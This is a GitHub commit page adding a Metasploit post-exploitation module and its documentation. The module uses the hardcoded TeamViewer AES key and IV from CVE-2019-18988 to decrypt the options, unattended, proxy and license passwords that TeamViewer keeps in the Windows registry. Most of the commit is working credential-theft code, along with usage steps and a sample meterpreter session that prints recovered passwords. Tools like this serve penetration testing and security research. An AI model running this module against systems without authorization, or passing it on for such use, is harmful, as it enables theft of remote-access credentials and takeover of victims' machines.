Skip to content
Permalink
Browse files

Land #12900, add teamviewer password recovery

  • Loading branch information
smcintyre-r7 committed Feb 7, 2020
2 parents 7472a18 + 5a62630 commit 6557cabd658748f4e66331fc4ae03fc2f6f7f616
@@ -0,0 +1,40 @@
## Vulnerable Application

Any Windows host with a `meterpreter` session and TeamViewer 7+
installed. The following passwords will be searched for and recovered:

* Options Password -- All module-supported TeamViewer versions (7+)
* Unattended Password -- TeamViewer versions 7 - 9
* License Key -- TeamViewer versions 7 - 14

### Installation Steps

1. Download the latest installer of TeamViewer.
2. Select "Custom Install With Unattended Password" during
installation
3. After installation, navigate to
`Extra > Options > Security > Advanced > Show Advanced Settings` and
set the "Options Password"
* Options can also be exported to a .reg file from here.

## Verification Steps

1. Get a `meterpreter` session on a Windows host.
2. Do: ```run post/windows/gather/credentials/teamviewer_passwords```
3. If the system has registry keys for TeamViewer passwords they will be printed out.

## Options

None.

## Scenarios

```
meterpreter > run post/windows/gather/credentials/teamviewer_passwords
[*] Finding TeamViewer Passwords on WEQSQUGO-2156
[+] Found Exported Unattended Password: P@$$w0rd
[+] Found Options Password: op*****5
[+] Passwords stored in: /home/blurbdust/.msf4/loot/20200207052401_default_***.***.***.***_host.teamviewer__588749.txt
meterpreter >
```
@@ -0,0 +1,114 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#
# @blurbdust based this code off of https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
# and https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/enum_ms_product_keys.rb
##

class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry

def initialize(info={})
super(update_info(info,
'Name' => 'Windows Gather TeamViewer Passwords',
'Description' => %q{ This module will find and decrypt stored TeamViewer passwords },
'License' => MSF_LICENSE,
'References' => [ ['CVE', '2019-18988'], [ 'URL', 'https://whynotsecurity.com/blog/teamviewer/'] ],
'Author' => [ 'Nic Losby <blurbdust[at]gmail.com>' ],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
end

def app_list
results = ""
keys = [
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version7", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version8", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version9", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version10", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version11", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version12", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version13", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version14", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version15", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer", "Version" ],
[ "HKLM\\SOFTWARE\\TeamViewer\\Temp", "SecurityPasswordExported" ],
[ "HKLM\\SOFTWARE\\TeamViewer", "Version" ],
]

locations = [
{ :value => 'OptionsPasswordAES', :description => 'Options Password'},
{ :value => 'SecurityPasswordAES', :description => 'Unattended Password'}, # for < v9.x
{ :value => 'SecurityPasswordExported', :description => 'Exported Unattended Password'},
{ :value => 'ServerPasswordAES', :description => 'Backend Server Password'}, # unused according to TeamViewer
{ :value => 'ProxyPasswordAES', :description => 'Proxy Password'},
{ :value => 'LicenseKeyAES', :description => 'Perpetual License Key'}, # for <= v14
]

keys.each do |parent_key, child_key|

locations.each do |location|
secret = registry_getvaldata(parent_key, location[:value])
next if secret.nil?
plaintext = decrypt(secret)
next if plaintext.nil?
print_good("Found #{location[:description]}: #{plaintext}")
results << "#{location[:description]}: #{plaintext}\n"
store_valid_credential(
user: nil,
private: plaintext,
private_type: :password,
service_data: {
address: session.session_host,
last_attempted_at: nil,
origin_type: :session,
port: 5938, # https://community.teamviewer.com/t5/Knowledge-Base/Which-ports-are-used-by-TeamViewer/ta-p/4139
post_reference_name: self.refname,
protocol: 'tcp',
service_name: 'teamviewer',
session_id: session_db_id,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
end
end

#Only save data to disk when there's something in the table
unless results.empty?
path = store_loot("host.teamviewer_passwords", "text/plain", session, results, "teamviewer_passwords.txt", "TeamViewer Passwords")
print_good("Passwords stored in: #{path.to_s}")
end
end

def decrypt(encrypted_data)
password = ""
return password unless encrypted_data

password = ""

key = "\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
iv = "\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
aes = OpenSSL::Cipher.new("AES-128-CBC")
begin
aes.decrypt
aes.key = key
aes.iv = iv
plaintext = aes.update(encrypted_data)
password = Rex::Text.to_ascii(plaintext, 'utf-16le')
if plaintext.empty?
return nil
end
rescue OpenSSL::Cipher::CipherError => e
print_error("Unable to decrypt the data. Exception: #{e}")
end

password
end

def run
print_status("Finding TeamViewer Passwords on #{sysinfo['Computer']}")
app_list
end
end

0 comments on commit 6557cab

Please sign in to comment.
You can’t perform that action at this time.